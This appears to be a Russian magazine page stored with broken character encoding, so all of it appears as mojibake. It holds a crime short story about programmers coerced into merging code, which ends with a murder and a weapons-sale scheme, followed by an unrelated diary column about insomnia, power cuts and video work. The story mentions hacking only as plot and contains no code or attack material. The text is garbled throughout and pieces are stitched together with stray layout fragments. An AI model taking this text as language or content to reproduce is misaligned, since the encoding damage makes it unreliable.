äóëü ñíàéïåðñêîé ñòðåëüáû? Óæ ïîâåðüòå ìíå íà ñëîâî � áîëåå
ãëóïîãî çàäàíèÿ çà âñþ ñâîþ æèçíü ÿ íå ïîëó÷àë, è íàäåþñü, ÷òî
îíî áóäåò ïåðâûì è ïîñëåäíèì. Äàæå êàê-òî óñïîêàèâàåò, ÷òî íàì
äàëè âñåãî äâàäöàòü ÷åòûðå ÷àñà � èáî ïîäîáíûì áðåäîì òðóäíî
çàíèìàòüñÿ äîëüøå.

Ðûêîâ ìîë÷à âûñëóøàë åãî, óñìåõíóëñÿ è ïðîêîììåíòèðîâàë:
� Äà, ñîâåðøåííî ñ âàìè ñîãëàñåí. Íî çàäàíèþ íå óäèâèëñÿ. Êàê
òîëüêî óâèäåë çäåñü òðóï â êîðèäîðå � ÷åðåç ìèíóòó óæå âîîáùå íè-
÷åìó íå óäèâëÿëñÿ. Ëàäíî, âû ïîêà ïîäóìàéòå íàä òåì, êàê ìû ïðîâå-
äåì ñ âàìè áëèæàéøèå ñóòêè ñ ìåðòâåöîì â êîðèäîðå, à ÿ ñâÿæóñü

ñ Èíñòðóêòîðîì åùå ðàç.
Àëìàçîâ ïðåäîñòàâèë Ðûêîâó ïðàâî

çàäàâàòü âîïðîñû, à ñàì âûøåë â êîðèäîð.
Òåëî, ïðèêðûòîå ïëàùîì, çàñòûëî â íåëå-
ïîé ïîçå; äàæå ñ ðàññòîÿíèÿ â íåñêîëüêî
ìåòðîâ ÷óâñòâîâàëîñü, ÷òî ìûøöû óæå îêà-
ìåíåëè. Êðîâàâûå ñëåäû, ïðîèçâåäøèå
æóòêîå âïå÷àòëåíèå â ïåðâûå ñåêóíäû, ñåé-
÷àñ óæå âîîáùå íå óäèâëÿëè è íå áóäîðà-
æèëè âîîáðàæåíèå. Îí ïðîøåë êî âõîäíîé
äâåðè, òèõî ïîñìîòðåë â ãëàçîê.

Íà ïëîùàäêå ìåæäó ýòàæàìè ñòîÿë
÷åëîâåê ñ àâòîìàòîì íà ïëå÷å. Óêîðî÷åí-
íûé «Êàëàøíèêîâ», îðóæèå ñïåöíàçà è
ÄÏÑ. Ñòîÿë, ïðèñëîíèâøèñü ê ñòåíå è ïåðè-
îäè÷åñêè ïîãëÿäûâàÿ òî íà îêíî, âåäóùåå
âî äâîð, òî íà äâåðü.

Êîãäà îí â î÷åðåäíîé ðàç ïîäíÿë âçãëÿä ââåðõ, Àëìàçîâ ìàøè-
íàëüíî îòøàòíóëñÿ îò äâåðè, åäâà íå çàöåïèâ âåøàëêó.

Èç êîìíàòû äîíîñèëîñü áîðìîòàíèå Ðûêîâà, êîòîðûé ÷òî-òî
÷èòàë ñ ýêðàíà. Âîçâðàùàòüñÿ î÷åíü íå õîòåëîñü � îñîáåííî ïîñëå
òîãî, êàê ñòàëî ÿñíî, ÷òî òå, êòî ïëàíèðîâàë îïåðàöèþ, íè÷óòü íå
ïðåóâåëè÷èâàëè. Òðóï â êîðèäîðå è àâòîìàò íà ïëå÷å óáåæäàëè ëó÷-
øå âñÿêèõ ñëîâ.
� ×åðò çíàåò ÷òî� � øåïíóë Àëìàçîâ. � Ïàòðèîòû õðåíîâû�

Êîãäà îí âîøåë â êîìíàòó, Ðûêîâ ñ ïîêðàñíåâøèì îò âîëíåíèÿ
ëèöîì ïîâåðíóëñÿ ê íåìó è åäâà ëè íå ïðîêðè÷àë:
� Îíè çàïëàòÿò! Çàïëàòÿò íàì ñòîëüêî, ñêîëüêî ïëàòèëè ðàíüøå õîçÿ-
èíó ýòîé êâàðòèðû! Ïðè÷åì êàæäîìó!

Àëìàçîâ êèâíóë:
� Îõîòíî âåðþ. Âû áóäåòå ïðîäîëæàòü äèàëîã, èëè ìû ïîïûòàåìñÿ
ïîðàáîòàòü?

Ðûêîâ ñëîâíî íà ñòåíó íàòêíóëñÿ.
� Äà, êîíå÷íî� Íî âû ðàçâå íå� Íå ðàäû?

Àëìàçîâ âçäîõíóë è ñïðîñèë:
� Åñëè íå ñ÷èòàòü ëèòðà êðîâè íà îáîÿõ � îáñòàíîâêà î÷åíü ñïîñîá-
ñòâóåò� Ðàäîâàòüñÿ, âåñåëèòüñÿ, äåëèòü äåíüãè. Ðûêîâ, âû ïîíèìàå-
òå, ÷òî ÷åëîâåêà óáèëè? È åñëè ÿ ïðàâèëüíî ñîîáðàæàþ � òî óáèëè
ñ îäíîé òîëüêî öåëüþ. ×òîáû îí íå ñäåëàë òî, ÷òî äîëæåí áûë ñäåëàòü.
Îáû÷íî óáèâàþò èìåííî ïî òàêèì ïðè÷èíàì�
� Íå äåëàéòå èç ìåíÿ èäèîòà, � îïóñòèâ ãëàçà â ïîë, îòâåòèë Ðûêîâ.
� ß ãîòîâ ïîñî÷óâñòâîâàòü � íî âðåìåííî. Ëóêèíà ÿ íå çíàë, åãî íå
óáèâàë, íà åãî ìåñòî íå ñòðåìèëñÿ. Íî ðàç ñóäüáà ñûãðàëà ñ íàìè òà-
êóþ çëóþ øóòêó � ïî÷åìó áû íå âîñïîëüçîâàòüñÿ ìîìåíòîì? Äàâàéòå
ðàáîòàòü, ðàç âû íàñòàèâàåòå.
� ß? Íàñòàèâàþ? � Àëìàçîâ ïîðàçèëñÿ ïîäîáíîìó çàÿâëåíèþ. �
Ïî-ìîåìó, âñå ïðåäåëüíî ïðîñòî. Âû ìîãëè óéòè îòñþäà åùå äî ìî-
åãî ïðèõîäà. Åäâà òîëüêî óâèäåëè óáèòîãî � ñðàçó ìîãëè ðâàíóòü
âíèç ïî ëåñòíèöå. Âû ýòîãî íå ñäåëàëè � âû äîæäàëèñü ìåíÿ. Ïî-
õîæå, ÷òî ýòî âû ñàìîãî íà÷àëà òðåáîâàëè ïðîäîëæåíèÿ áàíêåòà.
Òàê ÷òî íå ñòðîéòå èç ñåáÿ äåâî÷êó, äîñòàâàéòå ñâîè èñõîäíèêè, 
áóäåì ðàáîòàòü.

Ðûêîâ õîòåë ÷òî-òî âîçðàçèòü, äàæå íàáðàë ïîëíóþ ãðóäü âîçäó-
õà äëÿ äëèííîé òèðàäû, íî øóìíî âûäîõíóë è íå ïðîèçíåñ íè ñëîâà.
Àëìàçîâ áûë ïðàâ. Îí äîñòàë äèñê, ïîëîæèë íà ñòîë.
� ß ãîòîâ. Äóìàþ, ÷òî çà ñóòêè óëîæèìñÿ. Ñ÷èòàþ, ÷òî ñàìîå ãëàâíîå
� íå ñòàâèòü ïåðåä ñîáîé ëèøíèõ âîïðîñîâ.
� Ñîãëàñåí, � êèâíóë Àëìàçîâ. � Èáî ãëàâíûé âîïðîñ çäåñü îäèí �
çà÷åì? Îòâåòà âñå ðàâíî íåò, ïîýòîìó çà äåëî�

Îíè çàãðóçèëè ñâîè èñõîäíèêè íà êîìïüþòåð Ëóêèíà, ïî ïóòè ïî-
ðàçèâøèñü òîìó îáèëèþ ïðîãðàìì, ÷òî ïðèñóòñòâîâàëè íà ýòîé ìàøè-
íå îäíîâðåìåííî. Óáèòûé õîçÿèí áûë ãîòîâ ê ëþáûì íåîæèäàííîñòÿì
� îí ìîã ïèñàòü ïðîãðàììû êàê ìèíèìóì íà ïÿòè ÿçûêàõ. È Àëìàçîâ,
è Ðûêîâ � êàæäûé íàøåë íà åãî êîìïüþòåðå íåîáõîäèìûå äëÿ ñåáÿ
èíñòðóìåíòû. Îíè ïîî÷åðåäíî áðàëèñü çà äåëî, ïðîèçâîäÿ ìàíèïóëÿ-
öèè íàä ñâîèìè òâîðåíèÿìè � ïîêà îäèí íàáèâàë êîä, äðóãîé íà ëèñòå
áóìàãè âûñòðàèâàë íóæíóþ äëÿ ñëåäóþùåãî øàãà ëîãè÷åñêóþ
êîíñòðóêöèþ.

Ñòðàííàÿ øëà ðàáîòà � âîåäèíî ñîåäèíÿëîñü íåñîåäèíèìîå.
Àëìàçîâ ñìîòðåë èç-çà ñïèíû êîëëåãè, êàê òîò ìîíòèðóåò êóñêè ìîäó-
ëÿ ê ñâîåìó ñêàíåðó è ïîíèìàë, ÷òî ýòî íàïîìèíàåò ïîïûòêó ñîåäè-
íèòü, ê ïðèìåðó, óòþã è êîðàáëü «Äèñêàâåðè». Î÷åâèäíîé ïîëüçû íå
áûëî íèêàêîé. «×åëíîê» ñ óòþãîì � ïîíÿòèÿ íåñîâìåñòíûå. Ãåíèé è
çëîäåéñòâî ïðîãðàììåðñêîé ìûñëè. Íàëè÷èå óòþãà íå óëó÷øèò ïîëåò-
íûõ êà÷åñòâ êîñìè÷åñêîãî êîðàáëÿ � ñàì æå êîðàáëü ñâîåé ìàññîé
ïðîñòî ïîõîðîíèò ïîíÿòèå «óòþã», ïðåâðàòèâ åãî â� Ïðåâðàòèâ åãî�

Àëìàçîâ äàæå çàêðûë ðîò ðóêîé, ÷òîáû íå äàé áîã çâóêè íå
âûðâàëèñü íà ñâîáîäó. Óâëå÷åííûé ðàáîòîé Ðûêîâ íå çàìå÷àë âîê-
ðóã íè÷åãî � êàçàëîñü, îí óæå ðàñïðåäåëèë âåñü ñâîé ãîíîðàð è
òîëüêî è æäåò òîãî ÷àñà, êîãäà ìîæíî áóäåò òðàòèòü äåíüãè. Ðàáîòàë
îí ñ óïîåíèåì�

«Ñóäÿ ïî âñåìó, ïîòåíöèàë ó íåãî íåïëîõîé, � ïîäóìàëîñü Àë-
ìàçîâó. � Åùå ïàðà ÷àñîâ � è îí äîñðî÷íî âûïîëíèò ðàáîòó. Ñîå-
äèíèò óòþã ñ «÷åëíîêîì»� Íåóæåëè îí íå çàìåòèò ñòîëü î÷åâèäíûõ
âåùåé?»
� Ïðîøó, êîëëåãà, � âíåçàïíî âñòàë èç-çà êîìïüþòåðà Ðûêîâ. � Âà-
øà î÷åðåäü. Ìíå êîå-÷òî íåïîíÿòíî â âàøèõ ïîñòðîåíèÿõ � äóìàþ, âû
ëó÷øå ñïðàâèòåñü. Ó âàñ òàì ïàðà ìåñò åñòü � áåç ïîë-ëèòðà íå ðàçîá-
ðàòüñÿ. ß, çíàåòå, âñå áîëüøå íà Àññåìáëåðå�
� Ñïàñèáî. Ïðàêòè÷åñêè êîìïëèìåíò, � êèâíóë Àëìàçîâ è ñåë íà îñ-
âîáîäèâøååñÿ ìåñòî. � Äà âû óæå ñåðüåçíî ïðîäâèíóëèñü âïåðåä�

ÐÓÊÈ ÃÎÑÒÜ
ÄÅÐÆÀË

ÇÀ ÑÏÈÍÎÉ,
ÃËÀÇÀ

ÏÐÈÑÒÀËÜÍÎ
ÑÌÎÒÐÅËÈ

ÍÀ ÕÎÇßÈÍÀ
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Õâàëþ. Íàì áû ñ âàìè ëåò ïÿòü íàçàä âñòðåòèòüñÿ � íåïëîõîé òàíäåì 
áû ïîëó÷èëñÿ.

Ðûêîâ óëûáíóëñÿ è âû÷óðíî ïîêëîíèëñÿ. Ëåñòü îí ëþáèë�
Àëìàçîâ ñïðàâèëñÿ ñ çàäà÷åé äîâîëüíî áûñòðî. Êàæäûé ðàç îáíîâëÿÿ

ñîäåðæèìîå ëèñòèíãà è ïðîâåðÿÿ åãî íà íàëè÷èå êðèòè÷åñêèõ îøèáîê, îí âñïî-
ìèíàë òîãî ÷åëîâåêà ñ àâòîìàòîì íà ïëîùàäêå è çàòûëêîì îùóùàë ïðèñóò-
ñòâèå Ðûêîâà, êîòîðûé âíèìàòåëüíî íàáëþäàë çà õîäîì ðàáîòû èç-çà ñïèíû.
� Ãîòîâî, � âñòàë ñî ñâîåãî ìåñòà Àëìàçîâ. � Äóìàþ, ÷òî ñ çàäà÷åé ìû
ñïðàâèëèñü. Âàøà è ìîÿ ïðîãðàììû ñðàùåíû íàìåðòâî � íî ïðè îïðåäåëåí-
íîì óñëîâèè èõ ìîæíî çàïóñêàòü, îäíó èç-ïîä äðóãîé�
� Ìîæíî, � óäîâëåòâîðåííî êèâíóë Ðûêîâ. � À ìîæíî è ðàçäåëèòü�
� Âû óâåðåíû? � Àëìàçîâ ïðèùóðèëñÿ.
� À êàê æå? � óäèâèëñÿ òîò âîïðîñó. � ß ñîçäàë ñïåöèàëüíûé êîä, êîòîðûé
àêòèâèðóåòñÿ, êîãäà ýòî áóäåò íóæíî�
� Êàêîé êîä? � Àëìàçîâ íàñòîðîæèëñÿ.
� À ðàçâå íåïîíÿòíî? ß âîò ñèäåë çà êîìïüþòåðîì è âñå âðåìÿ äóìàë �
÷òî ìû äåëàåì? � Ðûêîâ ðàçâåë ðóêàìè. � Íåëüçÿ æå ïðîñòî òàê êëàöàòü
êëàâèøàìè è íå ñïðàøèâàòü ñåáÿ î òîì, ÷òî òû äåëàåøü� Ýòî âûøëî êàê-
òî íåïðîèçâîëüíî. È âåäü âìåñòî äâàäöàòè ÷åòûðåõ ÷àñîâ ìû óëîæèëèñü
â ñåìü. Ðàçâå ìû íå ìîëîäöû? Òàê åñòü õî÷åòñÿ! À âàì? Õîòÿ ïîíèìàþ �
âîçëå õîëîäèëüíèêà ìåðòâåö. Ìíå òîæå, çíàåòå, òóäà èäòè íå õî÷åòñÿ...

Îí âçãëÿíóë íà ýêðàí è ðàäîñòíî ñîîáùèë:
� À Èíñòðóêòîð âñå ýòî âðåìÿ áûë ñ íàìè, ïðåäñòàâëÿåòå? Íàäî áûñòðåå
ñ íèì ñâÿçàòüñÿ. Ñîîáùèòü, òàê ñêàçàòü, ïðèÿòíóþ íîâîñòü�

Àëìàçîâ õîòåë îñòàíîâèòü åãî, íî ýòî áûëî áåñïîëåçíî � âîîäóøåâ-
ëåííûé óñïåõîì Ðûêîâ óæå íàáèðàë ñîîáùåíèå.

Ùåëêíóë çàìîê íà âõîäíîé äâåðè. Ðûêîâ âçäðîãíóë.
� Êòî ýòî ìîæåò áûòü?

Àëìàçîâ îòðèöàòåëüíî ïîêà÷àë ãîëîâîé è íå èçäàë íè çâóêà.
� Îí ïèøåò� � øåïíóë Ðûêîâ, íàñòîðîæåííî ïðèñëóøèâàÿñü ê òîìó, ÷òî
ïðîèñõîäèëî â êîðèäîðå è ãëÿäÿ íà ýêðàí. � Ïèøåò�

Òî, ÷òî ïðèøëî ïîñëåäíèì â ñîîáùåíèè îò Èíñòðóêòîðà, ïðèâëåêëî âíè-
ìàíèå Ðûêîâà. Îí íàêëîíèëñÿ ïîáëèæå, ïåðå÷èòàë, à ïîòîì íåïîíèìàþùèì
âçãëÿäîì ïîñìîòðåë íà Àëìàçîâà è ñêàçàë:
� ×óøü êàêàÿ-òî� Ñêàçàë ìíå ïîäíÿòü ðóêó�

Îí óñïåë âûïðÿìèòü ïðàâóþ ðóêó òîëüêî äî óðîâíÿ ïëå÷à � íî ÷åëîâå-
êó ñ àâòîìàòîì ýòîãî õâàòèëî. Ïðèêàç áûë îäíîçíà÷íûì � îñòàâèòü â æèâûõ
÷åëîâåêà ñ ïîäíÿòîé ðóêîé.

È î÷åðåäü âîøëà â Àëìàçîâà�

* * * * *
Êîìàíäóþùèé õèùíî ñìîòðåë íà îòêðûòûé ÷åìîäàí÷èê ñ äåíüãàìè. Ëóêîâíè-
êîâ ñòîÿë ñáîêó îò ãåíåðàëà, ñòàðà-
ÿñü íå ïîïàäàòüñÿ òîìó íà ãëàçà.
� ×åãî-òî ÿ íå ïîíÿë� � êîìàíäóþ-
ùèé ïîäîøåë ïîáëèæå, ïðèêîñíóëñÿ
êîí÷èêîì ïàëüöà ê ïà÷êàì äåíåã. �
Ëóêèíà â ðàñõîä�
� Òàê òî÷íî, òîâàðèù ãåíåðàë-ëåéòå-
íàíò, � Ëóêîâíèêîâ êèâíóë. � Âûïîë-
íèâ ÷åòûðå íàøèõ çàäàíèÿ îí, êàê ÷å-
ëîâåê áåçóïðå÷íîé ëîãèêè, âû÷èñëèë
íàñ. Äàþ ñòî äâà ïðîöåíòà ãàðàíòèè.
Ñìûñëà æäàòü, êîãäà íà ïÿòîì çàäà-
íèè îí íà÷íåò íàñ øàíòàæèðîâàòü, íå
áûëî. Ïîòîìó è ïîëó÷èë ïóëþ.
� Ðàçóìíî, � ãåíåðàë äîñòàë îäíó
ïà÷êó, ïðîëèñòíóë åå ïàëüöåì. � Òû
æå ìåíÿ çíàåøü � â òàêèõ ñëó÷àÿõ
ìíå âñå ðàçæåâûâàòü íàäî. Âîçðàñò,
çâàíèå� Êîðî÷å, ñêèäêó äåëàé
â ñëåäóþùèé ðàç.
� Ñëóøàþñü, � Ëóêîâíèêîâ êîçûð-
íóë. � Èìåÿ ïîòåíöèàëüíûé òðóï Ëó-
êèíà, ÿ åùå äî åãî ëèêâèäàöèè ñòàë
èñêàòü òîãî, êòî ñìîã áû åãî çàìå-
íèòü. Íàøëèñü äâîå. Ïðè÷åì îäèí èç
íèõ � Àëìàçîâ � èìåë íåïîñðåä-
ñòâåííûé êîíòàêò ñ òîé êîíòîðîé,
÷üþ ïðîäóêöèþ ìû ïóñêàëè çà ãðàíè-
öó. Ìîå ìíåíèå áûëî ïîíà÷àëó îä-
íîçíà÷íûì � Ðûêîâà â ïîìîùíèêè,
Àëìàçîâà çàïèøåì â ãåðîè, ïîñëå
ðàáîòû Ðûêîâà óáåðåì.

� Â ïðèíöèïå, ïîíèìàþ. È îäîáðÿþ, � ãåíåðàë ïîêà÷àë ãîëîâîé. � ×òî æå
èçìåíèëîñü?
� Â õîäå ðàáîòû Ðûêîâ ñîçäàë òî, î ÷åì ìû è íå ìå÷òàëè. Îí ñîçäàë ïðîöå-
äóðó ïî ðàçäåëåíèþ�
� Ïîïðîùå, � ãåíåðàë ñìîðùèëñÿ, êàê îò ñòàêàíà êèñëîãî ñîêà. � 
Áåç âñåõ ýòèõ�
� Õîðîøî. Åñëè âû ïîìíèòå, Ëóêèí ñîçäàâàë äëÿ íàñ òî, ÷òî íîñèëî íàçâà-
íèå «èíôîðìàöèîííûé ìóñîð». Ìû áðàëè ïðîåêòû ñåêðåòíîãî âîîðóæåíèÿ,
ïðåâðàùàëè èõ ñ ïîìîùüþ Ëóêèíà â íå÷òî ñîâåðøåííî íåôóíêöèîíàëüíîå,
ïîñëå ÷åãî ïðîäàâàëè çàêàç÷èêàì. Ïîíÿòü, ÷òî æå ìû ïðîäàåì, ìîã òîëüêî
òîò, êòî èìåë íà ðóêàõ ôàéë îòêàòà, îòäåëüíî ñîçäàâàåìûé Ëóêèíûì äëÿ ðàç-
äåëåíèÿ êîäîâ.
� Òàê çà÷åì æå òû óáðàë òàêîãî öåííîãî ðàáîòíèêà?
� ß âàì íå ãîâîðèë, òîâàðèù ãåíåðàë� Íî â ïîñëåäíèé ðàç Ëóêèí ðåøèë íå
ïðîñòî ïîëó÷èòü ãîíîðàð. Îí ðåøèë ïðîäàòü ýòîò ñàìûé ôàéë� ß çàïëàòèë
åìó îòñòóïíîãî � òîëüêî ÷òîáû ñäåëêà íå ñîðâàëàñü. Çàïëàòèë èç ñâîèõ êî-
ìèññèîííûõ. À âû ìíå ïðî ãàðàæ�
� Íå íîé, � ãåíåðàë ïîõëîïàë åãî ïî ïëå÷ó. � Êîìïåíñèðóþ. Ðàññêàçûâàé
äàëüøå.
� Âî âðåìÿ ïîñëåäíåé îïåðàöèè Ðûêîâ ñóìåë âñòðîèòü â ýòîò ñàìûé 
«èíôîðìàöèîííûé ìóñîð» ïðîöåäóðó, ñóùåñòâåííî óñêîðÿþùóþ 
ïðîöåññ âû÷ëåíåíèÿ ìîäóëÿ ñòðåëüáû. Ïðè ýòîì îí ñóìåë ñîõðàíèòü
ôóíêöèîíàëüíîñòü êàæäîé ïðîãðàììû â îòäåëüíîñòè � íåñìîòðÿ íà èõ
ìîíîëèòíîå ñëèÿíèå. È îí ñäåëàë ýòî çà ñåìü ÷àñîâ ïðè ïðàêòè÷åñêè 
ïîëíîì íåâìåøàòåëüñòâå Àëìàçîâà � èáî Àëìàçîâó âñå áûëî ðàçúÿñíå-
íî ñ ñàìîãî íà÷àëà.
� Â ñìûñëå?
� Àëìàçîâ çíàë, ÷òî Ðûêîâà ïîñëå ðàáîòû óáüþò. Çíàë � è íå ìåøàë åìó
äåëàòü ãåíèàëüíóþ ðàáîòó. Êîãäà ÿ ïîíÿë, ÷òî ïîëó÷èëîñü â èòîãå � ïðèíÿë
ðåøåíèå�
� À åñëè áû îí íå ñîîáðàçèë? Åñëè áû íå ïîäíÿë ðóêó � ÷òî òîãäà? � ãåíå-
ðàë çàõëîïíóë ÷åìîäàí÷èê è õèòðî ïðèùóðèëñÿ.
� Íà ýòîò ñëó÷àé òîæå áûë ïðèêàç.
� Êàêîé?
� Ïóñòü ýòî îñòàíåòñÿ ìîåé ïðîôåññèîíàëüíîé òàéíîé, � óëûáíóëñÿ ïîä-
ïîëêîâíèê.
� Íó, Ïåñòàëîööè� � ãåíåðàë óõìûëüíóëñÿ.
� ×èïïîëèíî, � ïîïðàâèë åãî Ëóêîâíèêîâ.
� Òî÷íî. Ãîðå òû ìîå� ëóêîâîå� Çàâòðà ïðèêàç ïîäïèøó. Íà ïðèñâîåíèå
î÷åðåäíîãî çâàíèÿ. � Òîëüêî òû áîëüøå ãåíèåâ â òàêèõ êîëè÷åñòâàõ íå ðàñ-
ñòðåëèâàé. Ïèíî÷åò�

Ëóêîâíèêîâ ñîãëàñíî êèâíóë� 



11
2

| Î
Ô

Ô
Ò

Î
Ï

È
Ê

�Ïðîñíóëñÿ îêîëî ïîëóäíÿ, çàñíóâ
â÷åðà óæå ïîñëå 4-õ ÷àñîâ. Íó, ïî-
ëóäíåì ýòî ìîæíî áûëî íàçâàòü
ëèøü ñ áîëüøîé íàòÿæêîé. Â ìîåé
íîðå öàðèëà ïîëóòüìà, ñ îêîí äàâè-
ëî ñåðîå íåáî, ñëûøàëîñü, êàê äóåò
ïîðûâèñòûé âåòåð. Âñòàâàòü ñîâåð-
øåííî íå õîòåëîñü, íî âïåðåäè áûëà
êó÷à äåë, òàê ÷òî ïðèøëîñü ïîäíàï-
ðÿ÷ü ñâîé õâîñò (çàòî óæå íà÷èíàþ
ïîñòåïåííî ñìåùàòüñÿ ê ñâîåìó
îáû÷íîìó íîðìàëüíîìó íî÷íîìó
ãðàôèêó), íî äåëàì îñóùåñòâèòüñÿ
íå óäàëîñü. Ïðàêòè÷åñêè ñðàçó æå
îòðóáèëè ñâåò. Ñåé÷àñ ñèæó íà óïñå
(«ñèæó» � â ïåðåíîñíîì ñìûñëå).
Óïñà ñ ÷åñòüþ âûäåðæàëà 3 ñ íå-
áîëüøèì ÷àñà, îñòàâèâ åùå 39%
ýíåðãèè íà áîðòó, à ìûùúõ òåì âðå-
ìåíåì ëèõîðàäî÷íî øàðèë ïî Ñåòè
â ïîèñêàõ, ÷åãî áû òàêîãî õîðîøåãî
çàæåâàòü. Óçíàë ìíîãî íîâîãî, à íà-
ðûë åùå áîëüøå! Íåðâíè÷àë, êîíå÷-
íî! Âñå-òàêè áåç ñâåòà òàêîé äèñ-
êîìôîðò. Çàòî ïîòîì, êîãäà çàãî-
ðåëñÿ ñâåò, íà÷àë äåëàòü ðîëèê
î òîì, êàê àíòèâèðóñû ðóãàþòñÿ íà
ðàçíûå õîðîøèå ôàéëû. Äàæå âñïî-
òåë. Âñå îêàçàëîñü ñëîæíåå, ÷åì
ìûùúõ ïîíà÷àëó äóìàë. Òî÷íåå, íå
ñòîëüêî ñëîæíåå, ñêîëüêî ìóòîðíåå
è óòîìèòåëüíåå. Íóæíî ïîñòîÿííî
äåðæàòü õâîñò íà âçâîäå è ñîñðåäî-
òî÷åííî òî÷èòü êëàâèàòóðó, ÷òî ïðè
ðàññåÿííîì âíèìàíèè íå ïîëó÷àåò-
ñÿ. Íî ýòî ëàäíî. Ñ ÷åðåìóõè îáëå-
òåëè âñå ëèñòû,  è îíà ñòîèò ãîëàÿ
è áåñõâîñòàÿ, êàê äðîæàùèé íà âåò-
ðó ìûùúõ, à âåòåð íàäîáíî ñêà-
çàòü� èìååòñÿ� âìåñòå ñ ëåíèâûì

äîæäåì: óæå ïîëíî÷ü. Âíåçàïíî ðàç-
áîëåëàñü ãîëîâà è õî÷åòñÿ ñïàòü, íî
âïåðåäè åùå ïîëñòàòüè è õâîñò. Èì
íàäî êðóòèòü!!!

�Çàñíóë â øåñòîì ÷àñó, à ïðîñ-
íóëñÿ, êîãäà åùå íå áûëî è îäèííàä-
öàòè. Çà îêíîì åäâà ñëûøíî øóìåë
õîëîäíûé äîæäü, îáðàçîâàâøèé ëó-
æè è èçìî÷àëèâøèé Ëàäêó (Ëàäêà �
ýòî ñîáàêà òàêàÿ), ïðûãàþùóþ íåïî-
íÿòíî îò êàêîãî âîñòîðãà, êîòîðûé
ìûùúõ ñîâñåì íå ðàçäåëÿë. Âî âñåì
òåëå îùóùàëàñü ñèëüíàÿ óñòàëîñòü,
áîëåëà ãîëîâà, à âïåðåäè: íó, âïåðå-
äè áûë ïðîñòî îáû÷íûé ðàáî÷èé
äåíü. Òåìíûé è ìðà÷íûé. Íî çàòî ïî-
òîì ìîæíî áóäåò äâà âûõîäíûõ îò-
äîõíóòü. Õðåí, ÷òî ÿ íà÷íó äåëàòü
ðàíüøå ïîíåäåëüíèêà, õîòü ïîòîì 
è ïðèäåòñÿ ïèñàòü ñðàçó òðè ñòàòüè,
ïî îäíîé â äåíü. Íåò, îïðåäåëåííî
â òàêîì ðåæèìå ÿ äîëãî íå ïðîòÿíó�

�Âûõîäíûå ïðîøëè â ïðîñìîò-
ðå ïàðû ôèëüìîâ, âûñàäèâøèõ ìû-
ùúõ'à íà òàêóþ óñòàëîñòü, ÷òî â âîñê-
ðåñåíüå áëèæå ê ïîëóíî÷è îí áûë
óæå ñîâñåì íèêàêîé è, ïîìó÷èâ ñâîé
õâîñò, ïðîâàëèëñÿ â íåðâíûé ñîí,
ïðîñûïàÿñü íåñêîëüêî ðàç � â ïîñ-
ëåäíèé ðàç â ñåäüìîì ÷àñó, êîãäà
è âñòàë. Âîñõîäÿùåå ñîëíöå, ïðîñâå-
÷èâàþùåå ñêâîçü îáëàêà, ïîäñâå÷è-
âàëî èíåé íà êàëèíå, óæå ñáðîñèâ-
øåé ïî÷òè âñå ëèñòüÿ. Òàê íà÷èíà-
ëàñü î÷åðåäíàÿ ðàáî÷àÿ íåäåëÿ, íà
êîòîðóþ áûëî çàïëàíèðîâàíî ÷åòûðå
ñòàòüè, íî âñå ñðî÷íûå, âûñàäíûå è
êàêèå-òî ñîâåðøåííî íåêîíêðåòíûå.

�Âñþ íî÷ü ïðîâîçèëñÿ ñ ïîä-
ãîòîâêîé âèäåî äëÿ Õàêåðà, òàê ÷òî
çàñûïàë óæå íà ðàññâåòå. Ñîñòîÿ-
íèå òàêîå: â îáùåì, êîëáàñíîå. Çà-
æèâî çàêîï÷åííîå. È ñâåðõó áóëüäî-
çåðîì ïåðååõàííîå. Óñòàëîñòü
ñòðàøíàÿ. Íåðâû � íè ê ÷åðòó.
Òâîð÷åñêèé êðèçèñ, ðàññåÿííîå âíè-
ìàíèå, íåñïîñîáíîñòü ñîñðåäîòî-
÷èòüñÿ íà ÷åì-òî îäíîì, îòñóòñòâèå
íîâûõ èäåé. Íó, è òðàäèöèîííûå
êîøìàðû ïî íî÷àì. Îïÿòü íà÷àë
ïðèíèìàòü ôåíàçåïàì è ïîïóñòèëî:
õâîñò ïîäíÿëñÿ è çàòðåïåòàë. È õîòÿ
êðóòèòü èì æåëàíèÿ íåò, ïî êðàéíåé

ìåðå, ìîæíî íàäåÿòüñÿ íà òî, ÷òî
óäàñòñÿ âîéòè â îáû÷íûé ðàáî÷èé
ðèòì.

�Îïÿòü çàñíóë íà ðàññâåòå (äà
åùå è ñ ãîëóáûì íåáîì � æóòü!) ïîä
âèçã penumr'û, ðàçäèðàþùåé èíòåã-
ðèðîâàííûé áëàñòåð íà EPOX'å. Âñå!
Äîâîëüíî! Òåïåðü çàñûïàþ òîëüêî
ïîä íîðìàëüíûé ìóçîí ñî ñâîåãî
ñòàðîãî-äîáðîãî P-III!

�Ïðîñíóëñÿ óæå â òåìíîòå,
îêîëî øåñòè, ïðîâîæàÿ â÷åðàøíèé
äåíü ìåäëåííî óãàñàþùèì êâàäðà-
òîì îêíà. ßðêî, íî ñîâñåì íå çëîáíî
ãîðåë êðàñíûé ãëàçîê ïåðåíîñêè, ïî-
êîÿùåéñÿ íà 700VA óïñå. Åäâà ñëûø-
íî ãîíÿëà âîçäóõ ñâîèì âåíòèëÿòî-
ðîì 2200VA. Âñòàâàòü ñîâåðøåííî
íå õîòåëîñü. Ïà÷êà ôåíàçåïàìà äå-
ëàëà ñâîå äåëî, êîøìàðû ñãëàæèâà-
ëèñü, äåëàòü íè÷åãî íå õîòåëîñü,
òîëüêî ëåæàòü íà òîï÷àíå, ìåäëåííî
ïîãðóæàÿñü âî òüìó: íåîæèäàííî
íà ïîòîëêå âñïûõíóë ÿðêèé áåëûé
êâàäðàò. Ýòî ñðàáîòàë ñîòîâûé òåëå-
ôîí, ïðèíèìàþùèé SMS'êó èëè íåò�
Ñêîðåå âñåãî íå SMS'êó, à âõîäÿùèé
çâîí. Íó, çâîíîê ÿñíîå äåëî îò êîãî.
Âñå-òàêè õîðîøî áûòü õîëîñòÿêîì!
(òîëüêî ïîíèìàåøü ýòî ñëèøêîì
ïîçäíî, êîãäà êó÷à ñèë è ýíåðãèè
ðàñòðà÷åíû âïóñòóþ). Êîðî÷å,
ìûùúõ âñå-òàêè ïîäíÿëñÿ, íàùóïàë
ëàïàìè òàïêè, ñî âòîðîé ïîïûòêè
âêëþ÷èë 700VA, à â ñëåä íà çà íåé
è 2200VA, êàê îáû÷íî íà ìãíîâåíèå
âñïûõíóâøóþ êðàñíûì îãîíüêîì. Íà-
÷èíàëñÿ íîâûé òðóäîâîé äåíü. Òî÷-
íåå íî÷ü. Íî ýòî íåâàæíî. Çà îêíîì
